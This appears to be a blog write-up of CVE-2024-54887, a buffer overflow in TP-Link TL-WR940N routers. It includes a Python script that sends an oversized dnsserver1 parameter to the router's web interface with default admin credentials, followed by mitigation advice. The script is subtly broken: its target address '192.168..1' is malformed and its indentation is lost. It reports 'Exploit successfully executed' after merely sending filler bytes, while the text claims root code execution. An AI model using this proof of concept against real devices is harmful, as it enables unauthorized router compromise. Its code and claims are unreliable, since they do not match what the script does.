In this long read post, we are going to explore CVE-2024-54887, a serious buffer overflow vulnerability discovered in TP-Link TL-WR940N V3 and V4 routers with firmware 3.16.9 and earlier. This vulnerability allows an authenticated attacker to execute arbitrary code on the remote device in the context of the root user. The attack is executed via the dnsserver1 and dnsserver2 parameters at /userRpm/Wan6to4TunnelCfgRpm.htm.
Code Snippet
The following code snippet demonstrates the attack using the 'requests' library in Python.
import requests
target_url = "http://192.168..1/userRpm/Wan6to4TunnelCfgRpm.htm";
username = "admin"
password = "admin"
payload = "A" * 1025 # 1024 bytes of data plus NULL byte
headers = {'referer': target_url}
auth = (username, password)
# Set dnsserver1 and dnsserver2 to the payload causing buffer overflow
data = {'dnsserver1': payload, 'dnsserver2': '8.8.8.8', 'save': 'save'}
# Send request to the vulnerable page
response = requests.post(target_url, auth=auth, data=data, headers=headers)
# Check for success indicator in response
if "window.location.href" in response.text:
print("Exploit successfully executed.")
else:
print("Exploit failed.")
Exploit Details
The vulnerability occurs because of improper handling of user-supplied input. The dnsserver1 and dnsserver2 parameters are directly passed to a vulnerable function that uses unsafe string copy operations without validating the length of the user input. As a result, an attacker can cause a buffer overflow, overwriting sensitive data and potentially hijacking the control flow of the application. By crafting a malicious payload and sending it to the targeted router's web interface, an authenticated attacker can exploit this vulnerability to execute arbitrary code with root privileges on the vulnerable router.
Original References
[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-54887
[2] https://github.com/rapid7/metasploit-framework/pull/10562
[3] https://www.exploit-db.com/exploits/45980
[4] https://www.kb.cert.org/vuls/id/244029/
Mitigations and Recommendations
- TP-Link has released new firmware versions that address this vulnerability. Users of affected TP-Link routers are advised to update their firmware to the latest version available from the TP-Link website.
Limit access to the router's web interface only to trusted IP addresses and users.
- Use strong and unique credentials for the router's web interface and disable remote management if not required.
- Regularly review devices connected to the router and maintain up-to-date security features such as firewall rules and intrusion prevention mechanisms.
In conclusion, CVE-2024-54887 demonstrates the importance of proper input validation and secure coding practices in embedded device firmware. Router manufacturers should focus on regular security assessments and timely patch releases to minimize the attack surface and protect their users from such vulnerabilities. Additionally, users should be diligent in keeping their devices updated and following best practices to ensure the security of their networks.
Timeline
Published on: 01/09/2025 20:15:39 UTC
Last modified on: 01/15/2025 21:15:13 UTC